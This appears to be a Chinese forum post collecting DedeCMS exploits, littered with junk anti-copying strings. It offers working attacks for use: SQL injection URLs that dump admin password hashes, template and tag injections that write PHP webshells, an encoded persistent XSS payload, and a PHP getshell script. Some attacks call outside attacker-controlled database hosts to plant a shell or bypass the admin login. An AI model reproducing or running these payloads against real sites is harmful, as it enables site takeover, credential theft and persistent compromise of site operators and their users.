dedecms漏洞总结

admin

5 z8 y6 b$ c, O& K% J! iDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
& y3 q% _+ Y+ l+ ?' j
" z3 ~; U( R  b# k% @4 X


5 O7 _( Y, R4 W* x5 _

8 v' \. K! [/ Y" V
4 F) n; C9 z8 T" B( {0 F/ Y
- Y# ]  D0 g6 \3 o( a" \& LDedeCms v5.6 嵌入恶意代码执行漏洞
8 o4 v% u* \5 s, R6 j8 F. S. y/ ?注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
5 j$ M) X7 G# l  v# W! F发表后查看或修改即可执行
6 l9 p+ A2 F6 X6 u8 z9 S) B; Ga{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


+ v! m; p* @: X1 @  b* k- \. g

& I+ l1 E' M5 K' |1 f" p- P, |9 e" k9 ^



Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
9 M' e+ P1 C1 E  g

8 p& O4 O) r; \% Z' C! y4 W# x

7 o8 S" f4 j5 e$ ]
9 \) A8 z% D& X7 ~0 Z$ ]- d; p

4 {4 m% b* K8 _" l5 s, s( d
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


/ v8 J" Y5 X1 A% g7 k/ g



$ H5 ?/ a( Y8 ^: T+ G5 r* P; ]- [DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
5 O' E1 l" `7 R# y4 n# j

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
2 f$ U4 C+ ~2 E5 r2 d, T0 X, e( T% [% s

4 i6 W  \2 |! y- P9 h% O2 X* |' O6 a7 Jhttp://v57.demo.dedecms.com/dede/login.php

2 ^4 h6 o: W+ S1 x
color=Red]DeDeCMS(织梦)变量覆盖getshell
& s6 I" _8 `/ t) }+ `# v0 T7 J" u0 u#!usr/bin/php -w
2 Z; f( }& B3 z, `8 X: q. F<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
3 }4 W$ d. J& uDEDEcms Variable Coverage
7 s% e6 ]' K) i" [: M9 c$ l2 d- oExploit Author: www.heixiaozi.comwww.webvul.com
);
8 j. w3 M$ ~' P8 \2 J5 N4 Uecho "\r\n";
if($argv[2]==null){
! q0 {; J/ O5 e; J  p# yprint_r('
% x8 `6 d  K# A1 U+---------------------------------------------------------------------------+
& B0 x) ?) q; I/ SUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
: G2 e. d! I$ ~5 I, P. s% fExample:
" v0 |6 S5 P( n" }9 n' uphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
exit;
}
4 s5 C4 |1 z0 N( V+ e$url=$argv[1];
9 s1 W1 m" q1 ]" `" R$aid=$argv[2];
, h2 Z3 H1 g0 J& V8 W; d5 P) b4 a* R. U$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
; H% C( w( d* J* y. Bif($aid==1)echo "
& v0 T0 p0 _# s$ d8 X: ]: l7 hShell:".$url."/$path/data/cache/fuck.php\n" ;

) s( y( r1 `& E  k' Q7 x
& n: P" f& R6 }4 k% l  I7 `if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
4 r0 u* B* f" `( v% v* A$ {6 S3 D! t% A
! Q" F: @* ^5 d1 ]
if($aid==3)echo "
+ t$ r7 _) K. Q8 K) s( V: O/ iShell:".$url."/$path/plus/fuck.php\n";

7 F& ^( n4 \7 [; b
: I0 k( W! u$ }  ]; H$ U& M}else{
echo "
Exploit Failed \n";
}
; G  t- c  D& B* dfunction Getshell($url,$aid,$path){
! y2 ~1 f& l7 H5 z) p$id=$aid;
$host=$url;
8 `4 d# W8 H4 }- g) ^3 s$port="80";
: }9 V% B. O) F0 S3 m) {+ O$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
* G, V3 ?; M( p; i, c& G$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  N; C) J$ X' N$ {# G, p$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
$ b! ]4 |2 j- C6 W/ B0 {3 C2 w: d6 w//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
. j6 U  B; D+ \5 i' }( l* q$data .= "Connection: keep-alive\r\n";
0 Q% [8 C4 X4 f  X5 p+ r$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
/ Z' {1 Y$ \2 j$ N" p$ock=fsockopen($host,$port);
if (!$ock) {
echo "
" T8 p6 J+ y$ @" Y+ tNo response from ".$host."\n";
- c' s% |  C8 _, e}
fwrite($ock,$data);
; p; H5 V4 \* b4 Kwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
5 l) g1 ]$ o7 Z; |return $exp;
}
$ S' }$ d9 H0 X- @! z5 E) S}
/ U8 f3 ]4 A$ r6 @5 _

?>
" M; i& |  `! f4 ]; l4 u& O

& Y2 r9 e# H$ _

) y0 u1 a4 R- Y2 J




) ]! n- ?9 C. Q# w& h( {
/ i4 w% _& Z$ U7 X4 {6 Q# e+ lDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
& D  T/ j6 }, \http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
0 W' ^/ L1 U3 w7 {* G

& H/ }% }9 W& N0 j: k- @) D, y3 S把上面validate=dcug改为当前的验证码，即可直接进入网站后台
; k8 X6 R7 p. K( R8 S. u5 u8 Z+ g0 Q

: G- p7 R  k+ ^7 _1 T此漏洞的前提是必须得到后台路径才能实现

* J7 K+ e* q6 N$ Q7 _9 J& m

- `$ e# N/ d; T0 J
8 N' m: ]( m1 i  i0 x+ D" B& t
$ w- E( v: o# d# S# Q: L8 j

( M/ @( @. A1 z* ?8 l% e) Q
" v4 u% ?5 D* w4 W- [/ `; P

# {! e/ t( C5 dDedecms织梦 标签远程文件写入漏洞
9 [6 C2 V+ \6 e前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
. n: n5 Y; P' e+ n  K

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
* v+ e/ n* U! ?+ X  {( f<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
  |! |  d$ Y% ^! m<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
* [) g& Y# g. ^7 u<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
  B( `( h# o1 E. x4 G<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
) \" }3 C8 h1 g$ w6 N4 F% v1 k" y% t<input type="submit" value="提交" name="QuickSearchBtn"><br />
8 [' `8 w# S9 c' R, |</form>
<script>
function addaction()
4 L1 K/ R; ?! B6 ]6 ~) b- ~{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
$ G, M7 \  B  f7 u* W( l( S</script>

) g+ u1 {; V7 G, ^4 d

5 k3 \( A9 u& U$ \






DedeCms v5.6 嵌入恶意代码执行漏洞
# F! ^1 I- `  r( J% ?注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
3 |+ t5 P6 T/ c& Sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
2 N! o0 z% J! d8 t, x$ t' r
2 w. Q4 B" A% H. R) S6 N
% O& a4 V# z( b模板内容是（如果限制图片格式，加gif89a）：
9 U4 R5 o# G) c, r{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
) c, Q- \/ W  F/ ~# u! P- h@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
/ n1 ~+ }8 x5 e7 R: m' u4 e. ~<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
/ p3 T5 C3 R% o: u2 @<input type="hidden" name="channelid" value="1" />
' I# {9 J7 L' D<input type="hidden" name="oldlitpic" value="" />
* w4 S% A( C& Z- \( ]  N% }<input type="hidden" name="sortrank" value="1275972263" />


/ B4 x  e  Q" i<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>

4 Z- X# I  i+ ]8 t
3 I8 h2 Q7 h: B5 ]<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
( V* F4 X6 X7 L1 W/ C" I1 W
0 ]# F  C5 M! y
<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
# K8 P) o  f5 u
/ \! L/ c  `+ M: B
- s" A* `1 D8 g" t0 i! Q& t% m( s<label>作者：</label>
5 c# O3 S7 p- u" z( _4 f  w<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


- r8 k$ V6 z/ ]+ s& F, c<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


# y; b2 n$ P" ?8 q9 s& a<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
2 t5 O- l0 {- D( `(内容的简要说明)
4 H* g5 r: X& d* {7 w, j
$ P+ X. c, n/ B' K- k/ k
  G" H+ O' b1 _% J) e4 F  M<label>缩略图：</label>
, p* U+ k0 ?9 v9 X<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
' B- Q! s) {+ @) X$ C

<input type='text' name='templet'
8 ~2 r/ Z1 a" a+ W' ]# p; y; gvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
6 ^5 O3 V* K, Jvalue="templet,htmltext;">（这里构造）
</div>
) y8 m9 \, M" P5 [& V

<!-- 表单操作区域 -->
; J) ~: j' r/ g4 x9 L2 y* S! p9 Y<h3 class="meTitle">详细内容</h3>

$ V; e, T5 O" v& |
& v# k# K+ J; _- l, y2 O' m<div class="contentShow postForm">
- M1 V# W) W& a: Z2 z. y) ~$ @<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
& V( z# i9 m0 }4 n" H/ }2 O

<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
. C4 s( t! W6 J" P( [<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

, S( O" [" ?/ c1 R- _4 N
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>


! _6 t- r  O& \2 C/ T  R3 |</div>
8 K$ Q4 E* P' l- g' E

</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
& R8 B0 G, `$ F9 s( n, i3 r2 L假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
! G, r% j( ]. o9 ?6 e" p

" ]4 K- J8 J1 p% F1 r) l0 `$ A

4 _4 z4 U" p1 A* P
/ h- W6 _* a* I" [  G$ }6 o


0 j0 a1 ]& v2 g" J) H3 V0 G) K
& [+ y1 v  @1 u
, x5 l- X4 S# z4 E) I- J. j  D
: t1 V3 u2 O4 M; b, A
- k# j5 Z5 |# u" XDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
6 ]. K; R2 d  x; `! c8 J+ ophpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
) ^, ^: L; }. b- c" f' K- h<input type="hidden" name="aid" value="7" />
, u2 j! O; k: R8 ^<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
' J3 T& p" f& V<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
# U. S+ N2 s) s! p- e2 n; l) f<button class="button2" type="submit" >更改</button>
' g4 Z" P/ }! I/ d</form>
! }" G3 ]9 s/ Z$ x. M2 H' u

! e% b& ]. t- i0 b0 \构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
3 S1 L+ A2 ~1 i9 ?6 Q7 F+ M1 \

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
5 E( s- `. T0 U0 ?) v: c<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
1 n) p. a/ R6 G3 ~; m- O8 k<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
. l1 k7 `$ m0 D" ?4 z/ p4 l<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
4 r  R8 \5 ~% J1 A, V<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

* x& y2 `% l. p: b6 I" W- h* f


  j, ?( x" f# `7 X& F! |


5 e; U+ u* @4 ^/ _. w" _( H6 ~


* @* ]/ g; C% I" s& C3 |$ g
0 X( H, f% E* R4 S, M
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

1 \+ i  z! L& s! {+ a: ~5 B
/ E5 x& }" ^! C( R

5 o/ G; x6 `2 O0 c  H

: F$ {) w, W1 B6 V

$ u! ?+ L! u, k( }0 k5 Q: F; c
$ _  x9 _/ C7 N& u) W
! L! t" _: v: j0 E织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
, S, h1 t" _, W" R# O% Y& ehttp://www.test.com/plus/carbuya ... urn&code=../../
* j/ B- M- ]* e- }( i2 S
# W+ b% k; @/ z5 `. K& q



/ i0 I8 @: I) ]# h" f3 @% m) w
4 b5 b: A) ~) a. v6 b



DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
) u$ ^7 U: H4 O8 Y5 S$ p* i2 j密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5


7 T& ?1 }8 G5 u5 o
7 n1 \% E6 T& s/ C


, Q! S7 N$ _$ g3 `
1 x, N- Y/ ?0 V$ @: o
$ p8 X6 w/ h7 {8 e$ b
6 B9 o2 |0 T- B5 m. [, h8 X
7 P, [4 ^- }; _织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

  R& z: l4 J( b! l. Q8 c
/ R# b1 T; s% Q

6 O4 m7 j, q- E% n
+ W  E" R& ^) Q  L/ v' @8 r# H/ g

9 P* n+ V6 `9 V$ X' l) v
7 _# {; z# `' t! M. a% \: p& C

织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
/ _6 A3 X. K% a<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
, N5 Y! w4 N* A. q<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
  k, h* G' y+ G8 B<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
3 Z1 q; T9 K5 P1 a' ]<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
# M0 o& X3 L0 U4 t<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
* _# r. x- A3 g; k5 v# ZSelect U Shell <input type='file' name='uploadfile' size='25' />
. h" n( k* @4 H<input type='submit' name='sb1' value='确定' />
0 p: ~+ J! d3 I: J6 K$ g9 ^4 \</form>
  M4 q0 k2 P5 F- h<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
3 y" `/ R) Q5 }Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
" F9 W% [- i; z! t1 K</html>



1 u5 d9 X0 M7 M" @
3 r  b8 [5 k1 }$ x: K7 X
; @7 Q1 l$ x: L4 }' G
6 w1 c8 Y; r3 G2 i4 q$ y
* w) S, C; a2 {* Y% ?! |  m
  @' v( ~9 W" B! ]0 d
/ o2 n* B% u: \8 X7 C* M
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
: i7 E( {4 g5 W: Q* N利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
% U# g8 W2 i  t3 x, j. o/ \1. 访问网址：
9 F$ ?% w% ?) k* h( k' Phttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
3 g7 Q; r: V0 U1 j可看见错误信息
% S5 c# H8 f; J  _3 ?
3 @( n) m4 P, }
/ |; [: {: t# i" Y$ W2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
& z6 Z1 \; p4 [- [int(3) Error: Illegal double '1024e1024' value found during parsing
4 v) u9 k1 |- k; ]Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


0 [7 k1 C  n+ x( z8 S% x3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

9 @- j3 Q" c8 \/ [) ~6 v
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

0 A2 B- D' E8 ?. g8 i+ z# T
# @0 U2 c& }. t: g按确定后的看到第2步骤的信息表示文件木马上传成功.


$ x/ s5 b7 l3 E  H) c' {


0 O5 j8 y* @# M5 l: a


; ?0 m3 l5 y, a9 g

" e& X1 f( L0 O, c; T0 ]9 r
5 A; ?) E# X5 Q5 l+ n* _
( T7 d0 H+ q* H$ `" V" G织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*